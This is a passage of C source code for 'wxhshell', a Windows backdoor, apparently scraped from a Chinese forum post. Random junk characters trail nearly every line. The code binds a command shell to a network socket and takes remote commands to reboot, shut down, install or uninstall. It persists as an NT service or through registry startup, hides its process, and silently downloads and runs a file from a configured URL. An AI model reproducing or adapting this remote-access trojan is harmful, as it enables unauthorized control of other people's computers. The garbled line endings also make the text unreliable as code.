      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xq',pzN  
    break; -`6O(he  
  } <Tr_,Ya{9  
  // 安装 7~[1%`  
  case 'i': { 4 Yq|Z  
    if(Install()) zO`54^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u]P0:)tS.  
    else /ve8);cH\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H"8+[.xBh  
    break; kStWsc$;+T  
    } IMzhEm  
  // 卸载 LQSno)OZ  
  case 'r': { LV{a^!f`y  
    if(Uninstall()) ?\:ysTVu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F9]j{'#  
    else Y7)YJI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [#H$@g|CT  
    break; +x$;T*0  
    } xKz^J SF  
  // 显示 wxhshell 所在路径 ;pdW7  
  case 'p': { { hUbK+dKZ  
    char svExeFile[MAX_PATH]; OL*EY:]  
    strcpy(svExeFile,"\n\r"); fRJSo%  
      strcat(svExeFile,ExeFile); s%`o  
        send(wsh,svExeFile,strlen(svExeFile),0); KLlo^1.<  
    break; _$"qC[.  
    } 8%Zl;;W  
  // 重启 pDD0 QO  
  case 'b': { 0V*L",9M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zw^jIg$  
    if(Boot(REBOOT)) ^1U2&S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $53I%.  
    else { =vBxwa^  
    closesocket(wsh); 67 >*AL  
    ExitThread(0); `':$PUz,g  
    } s,ZJ?[/  
    break; $(_Xt-6  
    } BuI&kU,WY  
  // 关机 rWF~a ec  
  case 'd': { RLr;]j8cm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :h1itn  
    if(Boot(SHUTDOWN)) E,5jY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y+ P\5G  
    else { r: n^U#  
    closesocket(wsh); 6R5) &L  
    ExitThread(0); ]t]s/;9]K  
    } S|Wv1H>  
    break; j2 "j Cv  
    } nm 66U4.@  
  // 获取shell zLue j'  
  case 's': { mY2 Ubn*  
    CmdShell(wsh); a;m-Vu!  
    closesocket(wsh); yef@V2Z+  
    ExitThread(0); `p9h$d  
    break; d}%GHvOi  
  } +Ck<tx3h&  
  // 退出 GWRKiTu9  
  case 'x': { ? e%Pvy<i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qR!SwG44+  
    CloseIt(wsh); % w 6fB  
    break; Ph2jj,K  
    } Fsv%=E{  
  // 离开 I(ds]E ;_E  
  case 'q': { Z6SM7? d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z^S=ji U++  
    closesocket(wsh); ;id0|x  
    WSACleanup(); )Z0pU\  
    exit(1);  V3K  
    break; Ab -uK|<  
        } om$)8'A,l  
  } "#d}S)GlXM  
  } I :%(nKBK  
'~%1p_0dq  
  // 提示信息 2J9_(w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z+&mMP`-  
} ?n>h/[/  
  } AM*V4}s*9k  
i3s-l8\\z  
  return; FSd842O  
} rC}r99Pe:x  
YmFJlMK  
// shell模块句柄 }'a}s0h  
int CmdShell(SOCKET sock) Gr&5 mniu  
{ eiI}:5~ /g  
STARTUPINFO si; #A@*k}/+  
ZeroMemory(&si,sizeof(si)); "'-f?kZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JadXdK=gE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LHKawEZ  
PROCESS_INFORMATION ProcessInfo; wgpu]ooUF&  
char cmdline[]="cmd"; QM`A74j0]\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T?:Vw laE  
  return 0; "zL<:TQ"  
} 2#ND(  
y} AkF2:  
// 自身启动模式 mu04TPj  
int StartFromService(void) ]wWN~G)2lV  
{ U)=?3}s(  
typedef struct ^k]OQc7q'  
{ wqJ^tA!  
  DWORD ExitStatus; X0+$pJ60  
  DWORD PebBaseAddress; w0x, ~  
  DWORD AffinityMask; ?V"X=B2  
  DWORD BasePriority; <H`&Zqqk  
  ULONG UniqueProcessId; xq- R5(k  
  ULONG InheritedFromUniqueProcessId; /=A^@&:_#  
}   PROCESS_BASIC_INFORMATION; ihBlP\C  
ir-srVoXy  
PROCNTQSIP NtQueryInformationProcess; W'eF | hu  
%fnL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (e S4$$g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v1<3y~'f  
M%5qx,JQY  
  HANDLE             hProcess; nAG2!2_8  
  PROCESS_BASIC_INFORMATION pbi; R2yiExw<  
( e6JI]tz{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TZTi:\nS  
  if(NULL == hInst ) return 0; i[sHPEml(5  
xCz(qR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _@;t^j+l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v#{Sx>lO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C:xg M'~+  
lt`(R*B%  
  if (!NtQueryInformationProcess) return 0; a` A V  
QI'ule  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t J N;WK.6  
  if(!hProcess) return 0; /]=Ih  
v\PqhIy"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A}?n.MAX>  
zs:O HEZw  
  CloseHandle(hProcess); :{bvCos<)  
P!3)-apP\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IWERn v!  
if(hProcess==NULL) return 0; .(^KA{  
_TY9!:&}q  
HMODULE hMod; {D J!T  
char procName[255]; A-Be}A  
unsigned long cbNeeded; 3&:Us| }  
-b"mx"'?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o8;>E>;  
c1B <9_  
  CloseHandle(hProcess); E58fY|9  
]Qm$S5tU  
if(strstr(procName,"services")) return 1; // 以服务启动 d,AEV_  
`w';}sQA7  
  return 0; // 注册表启动 bYQvh/(J  
} 0F> ils  
3 5;|r  
// 主模块 }7&.FV "  
int StartWxhshell(LPSTR lpCmdLine) W{:^P0l  
{ 8 9o&KF]  
  SOCKET wsl; i#]}k  
BOOL val=TRUE; PKFjM~J  
  int port=0; zrVw l\&  
  struct sockaddr_in door; ,r^zDlS<q  
KM li!.(b  
  if(wscfg.ws_autoins) Install(); k%Dpy2uH  
KK$t3e)  
port=atoi(lpCmdLine); ea[vzD]  
-d5b,leC^  
if(port<=0) port=wscfg.ws_port;   @a2n{  
djJD'JL  
  WSADATA data; ?_)b[-N!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V,:^@ 7d  
Tq{+9+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dZ}gf}.v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `Cq&;-u  
  door.sin_family = AF_INET; g<U\7Vp\1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NU[{ANbl  
  door.sin_port = htons(port); ._'AJhU$0  
:0N} K}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eA q/[(  
closesocket(wsl); 0T,uH  
return 1; /2 z, ?,jL  
} OBY^J1St  
y0s=yN_  
  if(listen(wsl,2) == INVALID_SOCKET) { HXV4E\JA  
closesocket(wsl); &JMp)zaI[  
return 1; :Y wb  
} 8LuM eGs  
  Wxhshell(wsl); >}<1  
  WSACleanup(); Xb#!1hA  
C\ 2rSyo  
return 0; A1>fNilC9  
wNc.z*+O"H  
} $fifx>!  
4^uQB(}Z  
// 以NT服务方式启动 x -;tV=E}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E;v#'  
{ RT C;Wj  
DWORD   status = 0; FgwIOpqE*  
  DWORD   specificError = 0xfffffff; {:=sCY!  
g{ ()   
  serviceStatus.dwServiceType     = SERVICE_WIN32; hK]mnA[Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B|WM;Y^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LH}]& >F  
  serviceStatus.dwWin32ExitCode     = 0; M02 U,!di  
  serviceStatus.dwServiceSpecificExitCode = 0; Ymvd3>_  
  serviceStatus.dwCheckPoint       = 0; tuK2D,6  
  serviceStatus.dwWaitHint       = 0; _:+hB9n s  
m3T=x =  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W kP`qD3  
  if (hServiceStatusHandle==0) return; r=}v` R&  
[D%(Y ~2  
status = GetLastError(); JjMa   
  if (status!=NO_ERROR) ^cDHC^Wm  
{ >U\1*F,Om,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WUBI( g\  
    serviceStatus.dwCheckPoint       = 0; "ov270:  
    serviceStatus.dwWaitHint       = 0; iW%~>`tT  
    serviceStatus.dwWin32ExitCode     = status; i(qZ#oN  
    serviceStatus.dwServiceSpecificExitCode = specificError; X'uQr+p^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <aQ<Wy=\  
    return; RCqd2$K"J+  
  } A3mvd-k  
?3 S{>+'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0Sj B&J  
  serviceStatus.dwCheckPoint       = 0; 9%Eo<+my h  
  serviceStatus.dwWaitHint       = 0; %_@T'!]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c7~'GXxQ2  
} U9"(jl/o  
9Bao~(j/k  
// 处理NT服务事件,比如:启动、停止 I+{2DY/}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WQ+ xS!ba  
{  CK+t6Gp  
switch(fdwControl) xlcL;e&^P  
{ 3 \}>nE  
case SERVICE_CONTROL_STOP: gNHS:k\"  
  serviceStatus.dwWin32ExitCode = 0; @}\i`H1s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nEt{ltsS0  
  serviceStatus.dwCheckPoint   = 0; ;Zm-B]\  
  serviceStatus.dwWaitHint     = 0; h6b(FTC^  
  { H)k V8wU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QHXA?nBX  
  } baoyU#X9  
  return; +)hxYLk&I  
case SERVICE_CONTROL_PAUSE: +OI<0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xp?YM35  
  break;  ;kzjx%h  
case SERVICE_CONTROL_CONTINUE: nIr:a|}[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s*Nb=v.e9  
  break; bj6;>Ezp3(  
case SERVICE_CONTROL_INTERROGATE: d&* c3F  
  break; 2@N9Zk{{J  
}; D7r&z?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s0O]vDTR,H  
} [ $5u:*  
9Nw&l@  
// 标准应用程序主函数 n$ rgJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BCfmnE4%  
{ ,j6 R/sg  
GT7&>}FJ)  
// 获取操作系统版本 k|,Y_h0Y  
OsIsNt=GetOsVer(); _\.4ofK(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ht:\ z;cu  
dVs=*GEl9  
  // 从命令行安装 O DEFs?%'  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~&aULY?)]  
XV}}A ^  
  // 下载执行文件 OqWm5(u&S  
if(wscfg.ws_downexe) { z/]]u.UP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $1$0M  
  WinExec(wscfg.ws_filenam,SW_HIDE); M1]}yTCd  
} 0xx4rp H  
<+-=j  
if(!OsIsNt) { n2 can  
// 如果时win9x,隐藏进程并且设置为注册表启动 q9wObOS$  
HideProc(); *c\XQy  
StartWxhshell(lpCmdLine); boI&q>-6Re  
} DaQ+XUH?  
else jGi{:}`lB  
  if(StartFromService()) 0l3[?YtXc  
  // 以服务方式启动 $4mCtonP=  
  StartServiceCtrlDispatcher(DispatchTable); 80=LT-%#  
else NLra"Z  
  // 普通方式启动 ^Ze(WE)  
  StartWxhshell(lpCmdLine); &~Y%0&F,&  
qm"SN<2S*  
return 0; ;mYZ@g%e  
}
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只看该作者 1 发表于: 2006-10-10
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